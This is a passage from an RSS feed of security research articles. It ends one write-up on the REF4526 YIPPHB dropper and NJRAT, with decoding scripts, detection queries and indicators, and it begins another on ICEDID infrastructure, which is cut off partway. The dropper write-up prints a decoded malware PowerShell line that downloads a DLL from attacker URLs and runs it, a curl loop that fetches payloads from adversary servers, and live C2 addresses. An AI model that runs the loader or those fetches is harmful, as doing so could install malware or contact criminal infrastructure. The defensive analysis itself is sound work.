<p><img src="https://www.elastic.co/pt/security-labs/assets/images/doing-time-with-the-yipphb-dropper/image6.png" alt="Timeline of REF4526 events" /></p>
<p>Looking at these results, we were able to cluster activity by the variable name in combination with the Unicode icon. In the example that sourced this initial research, one cluster would be the variable <strong>iUqm</strong> and the ⌚⌚⌚Unicode icons.</p>
<table>
<thead>
<tr>
<th>Cluster ID</th>
<th>Variable</th>
<th>Unicode icon + number</th>
<th>Percentage of prevalence (rounded)</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>ngfYq</td>
<td>❞ (U+275E)</td>
<td>1%</td>
</tr>
<tr>
<td>2</td>
<td>Codigo</td>
<td>❤ (U+2764)</td>
<td>1%</td>
</tr>
<tr>
<td>3</td>
<td>iUqm</td>
<td>⌚ (U+231A)</td>
<td>9%</td>
</tr>
<tr>
<td>4</td>
<td>iUqm</td>
<td>⚔ (U+2694)</td>
<td>6%</td>
</tr>
<tr>
<td>5</td>
<td>Codigo</td>
<td>⁂ (U+2042)</td>
<td>62%</td>
</tr>
<tr>
<td>6</td>
<td>iUqm</td>
<td>✌ (U+270C)</td>
<td>1%</td>
</tr>
<tr>
<td>7</td>
<td>Codigo</td>
<td>⏏ (U+23CF)</td>
<td>1%</td>
</tr>
<tr>
<td>8</td>
<td>Cg1O</td>
<td>☈ (U+2608)</td>
<td>5%</td>
</tr>
<tr>
<td>9</td>
<td>Codigo</td>
<td>♔ (U+2654)</td>
<td>10%</td>
</tr>
<tr>
<td>10</td>
<td>iUqm</td>
<td>ﭏ (U+FB4F)</td>
<td>1%</td>
</tr>
<tr>
<td>11</td>
<td>Codigo</td>
<td>_*/}+/_=</td>
<td>1%</td>
</tr>
<tr>
<td>12</td>
<td>iUqm</td>
<td>☈ (U+2608)</td>
<td>2%</td>
</tr>
</tbody>
</table>
<p>Of note, cluster 11 uses all of the same techniques as the other clusters, but instead of a Unicode icon for substitution, it used a series of ASCII characters ( <strong>_*/}+/_=</strong> ). The intrusion operated the same way and we are unclear why this cluster deviated from using a Unicode icon.</p>
<h3>Collecting and parsing network data</h3>
<p>To scale the analysis of this intrusion set, we wanted to automate the extraction of the loader and dropper encoded URLs from the <strong>process.command_line</strong> fields and the follow-on C2 used by the RAT implants.</p>
<h4>Loader and Dropper</h4>
<p>As noted in the Loader and Dropper phases, the Base64-encoded string needs substitution of the Unicode icons and to be reversed and decoded. After that process, the first URL is readily available, while the second URL requires reversing yet again.</p>
<p>To avoid execution of the Powershell command itself, we can leverage the text processing tool <strong>awk</strong>. What follows is a breakdown of how to do the analysis and we’ll provide a shell script with all of it for reference.</p>
<p>To get started, we’ll need to get access to our data on the command line where we can pipe it to <strong>awk</strong>. We’ve <a href="https://github.com/elastic/securitylabs-thrunting-tools">published a tool</a> called <strong>eql-query</strong> (and another called <strong>lucene-query</strong> ) to do just that.</p>
<p>Using <strong>eql-query</strong> , we can run an EQL query to retrieve the last 180-days of results, retrieving only the <strong>process.command_line</strong> field. The value of doing this from the command line is that it allows us to further parse the data and pull out additional strings of interest.</p>
<pre><code>eql-query --since 'now-180d/d' --size=1000 --compact --fields 'process.command_line' 'intrusion_detection where (process.pe.original_file_name == &quot;PowerShell.EXE&quot; and process.command_line like &quot;*Unicode.GetString*&quot; and process.args like &quot;*replace*&quot;)'
</code></pre>
<p>Next, use <strong>jq</strong> to pass the raw string to <strong>awk</strong> using <strong>jq '._source.process.command_line' -r | awk</strong>.</p>
<blockquote>
<p>If you’re doing this iteratively, it’s best to write the results from <strong>eql-query</strong> to a file, and then operate on the results locally until you have your pipeline how you’d like it.</p>
</blockquote>
<p>The next step is to capture the strings used in the Powershell <strong>replace</strong> commands so we can perform that function ourselves. The best way to do this using <strong>awk</strong> is by capturing them with a regular expression.</p>
<p>This matches the first and second arguments to replace. The first argument is Unicode and possibly not friendly as an <strong>awk</strong> pattern, so we’ll need to escape it first. Once we’ve made the replacement, we’ll print out the “clean” code, the string to find, and the replacement text.</p>
<pre><code>function escape_string( str ) {
    gsub(/[\\.^$(){}\[\]|*+?]/, &quot;\\\\&amp;&quot;, str)
    return str
}
{
    match($0, /replace\('\''(.*)'\'' *, *'\''(.*)'\''/, arr);
    str=escape_string(arr[1]);
    rep=arr[2];
    print gensub(str, rep, &quot;g&quot;)
}
</code></pre>
<p>Finally we can <strong>grep</strong> out the Base64 code (using another regex) and reveal the obfuscated Powershell script.</p>
<pre><code>grep -oP ''\''\K[A-Za-z0-9+/]+={0,2}(?='\'';)'
</code></pre>
<p>This automates the manual conversion process we outlined in the Loader, Dropper, and RAT phases above.</p>
<pre><code>$RodaCopy = '-¯¯--¯--¯¯';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl[.]com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))
</code></pre>
<p>Parsing the URLs from this text should be another simple <strong>awk</strong> match, followed by flipping the second URL, however, Powershell’s default encoding is <strong>UTF-16LE</strong> and <strong>awk</strong> only supports <strong>UTF-8</strong> or ASCII encoding. A tool called <a href="https://linux.die.net/man/1/iconv"><strong>iconv</strong></a> can perform the necessary conversion.</p>
<pre><code>echo &quot;${line}&quot; | base64 -d | iconv -f UTF-16 -t UTF-8 | awk '{ if ( match($0, /'\''([^'\'']+\/\/:s?ptth)'\''/, arr)) { n=split(arr[1],arr2,&quot;&quot;); for(i=1;i&lt;=n;i++){s=arr2[i] s}; print s}; if ( match($0, /'\''(https?:\/\/[^'\'']+)'\''/, arr)){ print arr[1] } }'
</code></pre>
<p>Once converted, the rest is straightforward parsing. Our output will contain <strong>url1</strong> , <strong>url2</strong> , and a copy of the Unicode strings and their replacements. The URLs are the forward and reverse URLs for each code sample, respectively.</p>
<table>
<thead>
<tr>
<th>Unicode icon</th>
<th>Replacement</th>
<th>url1</th>
<th>url2</th>
</tr>
</thead>
<tbody>
<tr>
<td>⌚⌚⌚</td>
<td>U</td>
<td><code>https://tinyurl[.]com/2erph6cs</code></td>
<td><code>https://cdn.discordapp[.]com/...truncated.../10oct8000.txt</code></td>
</tr>
<tr>
<td>⌚⌚⌚</td>
<td>U</td>
<td><code>http://91.241.19[.]49/ARTS/dllf3txt</code></td>
<td><code>http://91.241.19[.]49/test/new/ZX1.txt</code></td>
</tr>
<tr>
<td>⁂</td>
<td>A</td>
<td><code>http://20.231.55[.]108/dll/06-07-2022.PDF</code></td>
<td><code>http://212.192.246[.]226/dsaffdffa.txt</code></td>
</tr>
</tbody>
</table>
<p>For further details or to try it against your own data, see the <a href="https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt8f67cd063158a2dc/637bc872cca9f010a904ea67/ref4526_url_extraction.zip">shell script</a> that combines it all.</p>
<p>Now that we have automated the collection and parsing of the URLs for the loader and dropper, we can move on to the RAT infrastructure.</p>
<h4>RAT</h4>
<p>As evident in the original Powershell script, we know the RAT uses additional network infrastructure. To enumerate this, we need to pull down the RAT much like the dropper would, take a unique set URLs for each <strong>url1</strong> and <strong>url2</strong> output in the previous step, loop through each list, and use <strong>curl</strong> to download them.</p>
<blockquote>
<p>This process requires interacting with adversary-owned or controlled infrastructure. Interacting with adversary infrastructure requires disciplined preparation that not all organizations are ready to pursue. If you don't already have strong knowledge of legal considerations, defensive network egress points, sandboxes, an intelligence gain/loss strategy, etc., the following is presented informationally.</p>
</blockquote>
<p>As the loader never saves the downloaded files to disk and there aren’t always filenames, so to keep track of samples, we’ll use a simple counter. This gives us this simple loop:</p>
<pre><code>ctr=1
for line in $(cat ../url-1.txt); do
    curl -v -A &quot;${USER_AGENT}&quot; -o &quot;file-${ctr}&quot; -L --connect-timeout 10 &quot;${line}&quot; 2&gt;&gt;&quot;log-${ctr}.txt&quot;
    ctr=$((ctr + 1))
done
</code></pre>
<p>We use <strong>-v</strong> to capture the request and response headers, <strong>-L</strong> to follow redirects, and <strong>--connect-timeout</strong> to speed up the process when the infrastructure is down. Finally, save the <strong>curl</strong> output to a log file while any files downloaded are saved as <strong>file-X</strong> , where <strong>X</strong> is the value of the counter.</p>
<p>Any RAT files downloaded are Base64-encoded. We can identify valid Base64-encoded files using the <strong>file</strong> command. A Base64-encoded file will be identified as “ASCII text, with very long lines (<em>length</em>), with no line terminators” where <em>length</em> is the file size. For files that match this language, we’ll decode them and save them with a <strong>.dll</strong> extension.</p>
<pre><code>for entry in $(file file-?? | awk -F&quot;: &quot; '$2 ~ /^ASCII text.*very long lines/  {print $1}'); do
    rev  &lt;&quot;${entry}&quot; | base64 -d &gt;&quot;${entry}.dll&quot;
done
</code></pre>
<p>Now that we have the RAT binaries, we can do some typical static analysis on them. If you have the <a href="https://github.com/VirusTotal/vt-cli">VirusTotal command line tool</a> and can make API queries, searching for known files is another simple loop over all the saved <strong>dll</strong> files.</p>
<pre><code>for entry in *.dll; do
	hash=$(sha256sum &quot;${entry}&quot; | awk '{print $1}')
	vt search &quot;${hash}&quot; &gt;&quot;${entry}.vt.yml&quot;
done
</code></pre>
<p>Looking at the output, we can see that any <strong>yml</strong> file (the <strong>vt</strong> command output) with <strong>0</strong> bytes means no match. These files are unknown to VirusTotal. In this output, we can see that <strong>file-30.dll</strong> , <strong>file-31.dll</strong> , and <strong>file-34.dll</strong> are unknown to VirusTotal.</p>
<pre><code>$ ls -s *.dll{,.vt.yml}

 32 file-28.dll
 32 file-28.dll.vt.yml
 32 file-30.dll
  0 file-30.dll.vt.yml
 32 file-31.dll
  0 file-31.dll.vt.yml
468 file-34.dll
  0 file-34.dll.vt.yml
 48 file-35.dll
 40 file-35.dll.vt.yml
 80 file-38.dll
 36 file-38.dll.vt.yml
</code></pre>
<p>The final analysis we’re going to perform is to attempt to dump any domain names from the DLLs. For many executable file formats, the <strong>strings</strong> command can provide that information. Unfortunately, most of these DLLs are .Net assemblies and the <strong>strings</strong> command won’t work to extract strings from .Net assemblies. The <strong>file</strong> command can again help us identify these as in this example:</p>
<pre><code>$ file file-31.dll
file-31.dll: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
</code></pre>
<p>The upside of .Net is that it is easily disassembled and the Mono project provides a tool just for that purpose, <a href="https://www.mono-project.com/docs/tools+libraries/tools/"><strong>ikdasm</strong></a>. This gives us our final loop to search for domain names or references to HTTP URLs.</p>
<pre><code>for item in *.dll; do
    ikdasm &quot;${item}&quot; | grep -E '(\.(org|com|net|ly))|((yl|ten|moc|gro)\.)|(&quot;http|ptth&quot;)';
Done
</code></pre>
<p>For more details you can refer to this <a href="https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/bltdeb8fbbb0f53fa97/637bc87271c75510a0ca1a95/ref4526_rat_collection.zip">shell script</a> that puts this second stage of analysis together.</p>
<h2>Diamond Model</h2>
<p>Elastic Security utilizes the <a href="https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf">Diamond Model</a> to describe high-level relationships between adversaries and victims of intrusions.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/doing-time-with-the-yipphb-dropper/image1.png" alt="REF4526 diamond model" /></p>
<h2>Observed adversary tactics and techniques</h2>
<p>Elastic uses the MITRE ATT&amp;CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0042/">Resource Development</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
</ul>
<h3>Techniques / Sub techniques</h3>
<p>Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1583/">Acquire Infrastructure</a></li>
<li><a href="https://attack.mitre.org/techniques/T1608/001/">Stage Capabilities: Upload Malware</a></li>
<li><a href="https://attack.mitre.org/techniques/T1547/001/">Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/005/">Command and Scripting Interpreter: Visual Basic</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/001/">Command and Scripting Interpreter: PowerShell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1218/004/">System Binary Proxy Execution: InstallUtil</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027/">Obfuscated Files or Information</a></li>
</ul>
<h2>Detection logic</h2>
<h3>Behavior rules</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/command_and_control_connection_to_webservice_by_a_signed_binary_proxy.toml">Connection to WebService by a Signed Binary Proxy</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/execution_suspicious_powershell_execution.toml">Suspicious PowerShell Execution</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_process_execution_with_unusual_file_extension.toml">Process Execution with Unusual File Extension</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/persistence_script_file_written_to_startup_folder.toml">Script File Written to Startup Folder</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/execution_suspicious_powershell_execution_via_windows_scripts.toml">Suspicious PowerShell Execution via Windows Scripts</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/command_and_control_connection_to_dynamic_dns_provider_by_an_unsigned_binary.toml">Connection to Dynamic DNS Provider by an Unsigned Binary</a></li>
</ul>
<h3>Hunting queries</h3>
<p>Identifying Unicode in Powershell can be accomplished with either a KQL or EQL query.</p>
<p>The events for both KQL and EQL are provided with the Elastic Agent using the Elastic Defend integration.</p>
<h4>KQL query</h4>
<p>Using the Discover app in Kibana, the below query will identify the use of Powershell with Unicode strings. While this identified all of the events in this research, it also identified other events that were not part of the REF4526 intrusion set.</p>
<p>The proceeding and preceding wildcards ( <strong>*</strong> ) can be an expensive search over a large number of events.</p>
<pre><code>process.pe.original_file_name : &quot;PowerShell.EXE&quot; and process.command_line : (*Unicode.GetString* and *replace*)
</code></pre>
<h4>EQL query</h4>
<p>Using the <a href="https://www.elastic.co/pt/guide/en/security/current/timelines-ui.html#filter-with-eql">Timeline section</a> of the Security Solution in Kibana under the “Correlation” tab, this query will identify the use of Powershell with Unicode strings and the <strong>replace</strong> function. This identified all observed REF4526 events.</p>
<pre><code>intrusion_detection where (process.pe.original_file_name == &quot;PowerShell.EXE&quot; and process.command_line like &quot;*Unicode.GetString*&quot; and process.args like &quot;*replace*&quot;)
</code></pre>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://github.com/pmelson/bsidesaugusta_2022/blob/main/unk.yara">https://github.com/pmelson/bsidesaugusta_2022/blob/main/unk.yara</a></li>
<li><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.limerat">https://malpedia.caad.fkie.fraunhofer.de/details/win.limerat</a></li>
<li><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.njrat">https://malpedia.caad.fkie.fraunhofer.de/details/win.njrat</a></li>
<li><a href="https://neonprimetime.blogspot.com/2018/10/njrat-lime-ilspy-decompiled-code-from.html">https://neonprimetime.blogspot.com/2018/10/njrat-lime-ilspy-decompiled-code-from.html</a></li>
<li><a href="https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/">https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/</a></li>
<li><a href="https://github.com/NYAN-x-CAT/njRAT-0.7d-Stub-CSharp/blob/master/njRAT%20C%23%20Stub/Program.cs">https://github.com/NYAN-x-CAT/njRAT-0.7d-Stub-CSharp/blob/master/njRAT%20C%23%20Stub/Program.cs</a></li>
<li><a href="https://hidocohen.medium.com/njrat-malware-analysis-198188d6339a">https://hidocohen.medium.com/njrat-malware-analysis-198188d6339a</a></li>
<li><a href="https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/">https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/</a></li>
</ul>
<h2>Observables</h2>
<p>All observables are also available for <a href="https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/bltc0eb869ac242975f/637bf8b1fa033a109b5d94bd/ref4526-indicators.zip">download</a> in both ECS and STIX format in a combined zip bundle.</p>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Reference</th>
<th>Note</th>
</tr>
</thead>
<tbody>
<tr>
<td>49562fda46cfa05b2a6e2cb06a5d25711c9a435b578a7ec375f928aae9c08ff2</td>
<td>SHA-256</td>
<td>dllsica.bin</td>
<td>Initial loader</td>
</tr>
<tr>
<td>bba5f2b1c90cc8af0318502bdc8d128019faa94161b8c6ac4e424efe1165c2cf</td>
<td>SHA-256</td>
<td>pesica.bin</td>
<td>YIPPHB downloader</td>
</tr>
<tr>
<td>1c1910375d48576ea39dbd70d6efd0dba29a0ddc9eb052cadd583071c9ca7ab3</td>
<td>SHA-256</td>
<td>10oct8000</td>
<td>NJRAT implant</td>
</tr>
<tr>
<td><code>https://cdn.discordapp[.]com/attachments/956563699429179523/1034882839428218971/10oct8000.txt</code></td>
<td>url</td>
<td>Loader phase</td>
<td>NJRAT download location</td>
</tr>
<tr>
<td><code>https://tinyurl[.]com/2erph6cs</code></td>
<td>url</td>
<td>Loader phase</td>
<td>REF4526 loader download location</td>
</tr>
<tr>
<td><code>https://tinyurl[.]com/4vfu6wd</code></td>
<td>url</td>
<td>Dropper phase</td>
<td>YIPPHB download location</td>
</tr>
<tr>
<td>wins10ok.duckdns[.]org</td>
<td>domain-name</td>
<td>NJRAT C2</td>
<td>NA</td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/doing-time-with-the-yipphb-dropper/time-watch-theme-machines-gears.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[ICEDIDs network infrastructure is alive and well]]></title>
            <link>https://www.elastic.co/pt/security-labs/icedids-network-infrastructure-is-alive-and-well</link>
            <guid>icedids-network-infrastructure-is-alive-and-well</guid>
            <pubDate>Mon, 31 Oct 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs details the use of open source data collection and the Elastic Stack to analyze the ICEDID botnet C2 infrastructure.]]></description>
            <content:encoded><![CDATA[<h2>Key takeaways</h2>
<ul>
<li>ICEDID is a full-featured trojan that uses TLS certificate pinning to validate C2 infrastructure.</li>
<li>While the trojan has been tracked for several years, it continues to operate relatively unimpeded.</li>
<li>A combination of open source collection tools can be used to track the C2 infrastructure.</li>
</ul>
<blockquote>
<p>For information on the ICEDID configuration extractor and C2 infrastructure validator, check out our posts detailing this:</p>
<ul>
<li><a href="https://www.elastic.co/pt/security-labs/icedid-configuration-extractor">ICEDID configuration extractor</a></li>
<li><a href="https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/bltb86bffd1aef20c5b/6351aba34e565f1cdce29da5/icedid-checker.tar.gz">ICEDID network infrastructure checking utility</a></li>
</ul>
</blockquote>
<h2>Preamble</h2>
<p><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.icedid">ICEDID</a>, also known as Bokbot, is a modular banking trojan first discovered in 2017 and has remained active over the last several years. It has been recently known more for its ability to load secondary payloads such as post-compromise frameworks like Cobalt Strike, and has been <a href="https://www.trendmicro.com/en_us/research/21/a/expanding-range-and-improving-speed-a-ransomexx-approach.html">linked</a> to ransomware activity.</p>
<p>ICEDID is implemented through a multistage process with different components. Initial access is typically gained through phishing campaigns leveraging malicious documents or file attachments.</p>
<p>We’ll be discussing aspects of ICEDID in the next couple of sections as well as exploring our analysis technique in tracking ICEDID infrastructure.</p>
<ul>
<li>Initial access</li>
<li>Command and control</li>
<li>Persistence</li>
<li>Core functionality</li>
<li>Network infrastructure</li>
</ul>
<blockquote>
<p>As mentioned in the Preamble, ICEDID has been around for many years and has a rich feature set. As the malware has been analyzed multiple times over the years, we are going to focus on some of the more interesting features.</p>
</blockquote>
<h2>Initial access</h2>
<p>ICEDID infections come in many different forms and have been adjusted using different techniques and novel execution chains to avoid detection and evade antimalware products. In this sample, ICEDID was delivered through a phishing email. The email contains a ZIP archive with an embedded ISO file. Inside the ISO file is a Windows shortcut (LNK) that, when double-clicked, executes the first stage ICEDID loader (DLL file).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/icedids-network-infrastructure-is-alive-and-well/image14.jpg" alt="Initial infection - Windows shortcut &amp; DLL" /></p>
<p>The Windows shortcut target value is configured to execute <strong>%windir%\system32\rundll32.exe olasius.dll,PluginInit</strong> calling the <strong>PluginInit</strong> export, which starts the initial stage of the ICEDID infection. This stage is responsible for decrypting the embedded configuration, downloading a GZIP payload from a C2 server, writing an encrypted payload to disk ( <strong>license.dat</strong> ), and transferring execution to the next stage.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/icedids-network-infrastructure-is-alive-and-well/image12.jpg" alt="Windows shortcut command-line" /></p>
<p>The first ICEDID stage starts off by deciphering an encrypted configuration blob of data stored within the DLL that is used to hold C2 domains and the campaign identifier. The first 32 bytes represent the XOR key; the encrypted data is then deciphered with this key.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/icedids-network-infrastructure-is-alive-and-well/image11.jpg" alt="Configuration decryption function" /></p>
<h2>Command and control</h2>
<p>ICEDID constructs the initial HTTP request using cookie parameters that contain hexadecimal data from the infected machine used for fingerprinting the victim machine. This request will proceed to download the GZIP payload irrespective of any previous identifying information.</p>
<p>eSentire has <a href="https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-gootloader-and-icedid">published research</a> that describes in detail how the gads, gat, ga, u, and io cookie parameters are created.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/icedids-network-infrastructure-is-alive-and-well/image4.jpg" alt="ICEDID HTTP request" /></p>
<p>Below are the cookie parameters and example associated values behind them.</p>
<table>
<thead>
<tr>
<th>Parameter</th>
<th>Example Data</th>
<th>Note</th>
</tr>
</thead>
<tbody>
<tr>
<td>__gads</td>
<td>3000901376:1:16212:134</td>
<td>Contains campaign ID, flag, GetTickCount, number of running processes</td>
</tr>
<tr>
<td>__gat</td>
<td>10.0.19044.64</td>
<td>OS version, architecture</td>
</tr>
<tr>
<td>__ga</td>
<td>1.591594.1635208534.76</td>
<td>Hypervisor/processor information from CPUID/SwitchToThread function</td>
</tr>
<tr>
<td>__u</td>
<td>4445534B544F502D4A4B4738455432:6A6F656C2E68656E646572736F6E:33413945354637303742414339393534</td>
<td>Stores computer name, username, and bot ID</td>
</tr>
<tr>
<td>__io</td>
<td>21_3990468985_3832573211_2062024380</td>
<td>Security Identifier (SID)</td>
</tr>
<tr>
<td>__gid</td>
<td>006869A80704</td>
<td>Encrypted MAC address</td>
</tr>
</tbody>
</table>
<p>The downloaded GZIP payload contains a custom structure with a second loader ( <strong>hollow.dat</strong> ) and the encrypted ICEDID core payload ( <strong>license.dat</strong> ). These two files are written to disk and are used in combination to execute the core payload in memory.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/icedids-network-infrastructure-is-alive-and-well/image1.jpg" alt="ICEDID writing the second stage loader and payload" /></p>
<p>The next phase highlights a unique element with ICEDID in how it loads the core payload ( <strong>license.dat</strong> ) by using a custom header structure instead of the traditional PE header. Memory is allocated with the sections of the next payload looped over and placed into their own virtual memory space. This approach has been well <a href="https://www.malwarebytes.com/blog/news/2019/12/new-version-of-icedid-trojan-uses-steganographic-payloads">documented</a> and serves as a technique to obstruct analysis.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/icedids-network-infrastructure-is-alive-and-well/image9.jpg" alt="ICEDID loading custom structure (header/sections)" /></p>
<p>Each section has its memory protection modified by the <strong>VirtualProtect</strong> function to enable read-only or read/write access to the committed region of memory using the <strong>PAGE_READWRITE</strong> constant.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/icedids-network-infrastructure-is-alive-and-well/image6.jpg" alt="ICEDID using the PAGE_READWRITE constant" /></p>
<p>Once the image entry point is set up, the ICEDID core payload is then loaded by a call to the <a href="https://www.cs.uaf.edu/2017/fall/cs301/lecture/09_11_registers.html#:~:text=rax%20is%20the%2064%2Dbit,processors%20with%20the%2080386%20CPU.">rax x86 register</a>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/icedids-network-infrastructure-is-alive-and-well/image2.jpg" alt="ICEDID loading its core payload" /></p>
<h2>Persistence</h2>
<p>ICEDID will attempt to set up persistence first using a scheduled task, if that fails it will instead create a Windows Registry run key. Using the Bot ID and <strong>RDTSC</strong> instruction, a scheduled task or run key name is randomly generated. A scheduled task is created using <strong>taskschd.dll</strong> , configured to run at logon for the user, and is triggered every 1 hour indefinitely.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/icedids-network-infrastructure-is-alive-and-well/image17.jpg" alt="ICEDID scheduled task" /></p>
<h2>Core functionality</h2>
<p>The core functionality of the ICEDID malware has been well documented and largely unchanged. To learn more about the core payload and functionality, check out the <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.icedid">Malpedia page</a> that includes a corpus of completed research on ICEDID.</p>
<p>That said, we counted 23 modules during the time of our analysis including:</p>
<ul>
<li>MitM proxy for stealing credentials</li>
<li>Backconnect module</li>
<li>Command execution (PowerShell, cmd)</li>
<li>Shellcode injection</li>
<li>Collect
<ul>
<li>Registry key data</li>
<li>Running processes</li>
<li>Credentials</li>
<li>Browser cookies</li>
<li>System information (network, anti-virus, host enumeration)</li>
</ul>
</li>
<li>Search and read files</li>
<li>Directory/file listing on user’s Desktop</li>
</ul>
<h2>ICEDID configuration extractor</h2>
<p>Elastic Security Labs has released an open source tool, under the Apache 2.0 license, that will allow for configurations to be extracted from ICEDID samples. The tool can be downloaded <a href="https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt95ce19ae8cffda29/6351abcf20f42038fb989fae/icedid-config-extractor.tar.gz">here</a>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/icedids-network-infrastructure-is-alive-and-well/image13.jpg" alt="IcedID configuration decryption tool output" /></p>
<h2>TLS certificate pinning</h2>
<p>Previous <a href="https://research.checkpoint.com/2021/melting-ice-tracking-icedid-servers-with-a-few-simple-steps/">research</a> into the ICEDID malware family has highlighted a repetitive way in how the campaigns create their self-signed TLS certificates. Of particular note, this technique for creating TLS certificates has not been updated in approximately 18 months. While speculative in nature, this could be reflective of the fact that this C2 infrastructure is not widely tracked by threat data providers. This allows ICEDID to focus on updating the more transient elements of their campaigns (file hashes, C2 domains, and IP addresses).</p>
<p>The team at Check Point published in-depth and articulate research on tracking ICEDID infrastructure using ICEDID’s TLS certificate pinning feature. Additionally, Check Point <a href="https://research.checkpoint.com/2021/melting-ice-tracking-icedid-servers-with-a-few-simple-steps/#Appendix-A:~:text=147.228.198%0A91%5B.%5D193.19.251-,Appendix%20A,-Testing%20a%20server">released a script</a> that takes an IP address and port, and validates the suspect TLS serial number against a value calculated by the ICEDID malware to confirm whether or not the IP address is currently using an ICEDID TLS certificate.</p>
<p>We are including a wrapper that combines internet scanning data from Censys, and ICEDID C2 infrastructure conviction from the Check Point script. It can be downloaded <a href="https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/bltb86bffd1aef20c5b/6351aba34e565f1cdce29da5/icedid-checker.tar.gz">here</a>.</p>
<h3>Dataset</h3>
<p>As reported by Check Point, the TLS certificate information uses the same Issuer and Subject distinguished names to validate the C2 server before sending any data.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/icedids-network-infrastructure-is-alive-and-well/image7.jpg" alt="ICEDID C2 TLS certificate pinning" /></p>
<p>To build our dataset, we used the <a href="https://censys-python.readthedocs.io/en/stable/quick-start.html">Censys CLI tool</a> to collect the certificate data. We needed to make a slight adjustment to the query from Check Point research, but the results were similar.</p>
<pre><code>censys search 'services.tls.certificates.leaf_data.subject_dn:&quot;CN=localhost, C=AU, ST=Some-State, O=Internet Widgits Pty Ltd&quot; and services.tls.certificates.leaf_data.issuer_dn:&quot;CN=localhost, C=AU, ST=Some-State, O=Internet Widgits Pty Ltd&quot; and services.port=443'

[
  {
    &quot;ip&quot;: &quot;103.208.85.237&quot;,
    &quot;services&quot;: [
      {
        &quot;port&quot;: 22,
        &quot;service_name&quot;: &quot;SSH&quot;,
        &quot;transport_protocol&quot;: &quot;TCP&quot;
      },
      {
        &quot;port&quot;: 80,
        &quot;service_name&quot;: &quot;HTTP&quot;,
        &quot;transport_protocol&quot;: &quot;TCP&quot;
      },
      {
        &quot;port&quot;: 443,
        &quot;service_name&quot;: &quot;HTTP&quot;,
        &quot;certificate&quot;: &quot;c5e7d92ba63be7fb2c44caa92458beef7047d7f987aaab3bdc41161b84ea2850&quot;,
        &quot;transport_protocol&quot;: &quot;TCP&quot;
      }
    ],
    &quot;location&quot;: {
      &quot;continent&quot;: &quot;Oceania&quot;,
      &quot;country&quot;: &quot;New Zealand&quot;,
      &quot;country_code&quot;: &quot;NZ&quot;,

…truncated…
</code></pre>
<p>This provided us with 113 IP addresses that were using certificates we could begin to attribute to ICEDID campaigns.</p>
<h3>JARM / JA3S</h3>
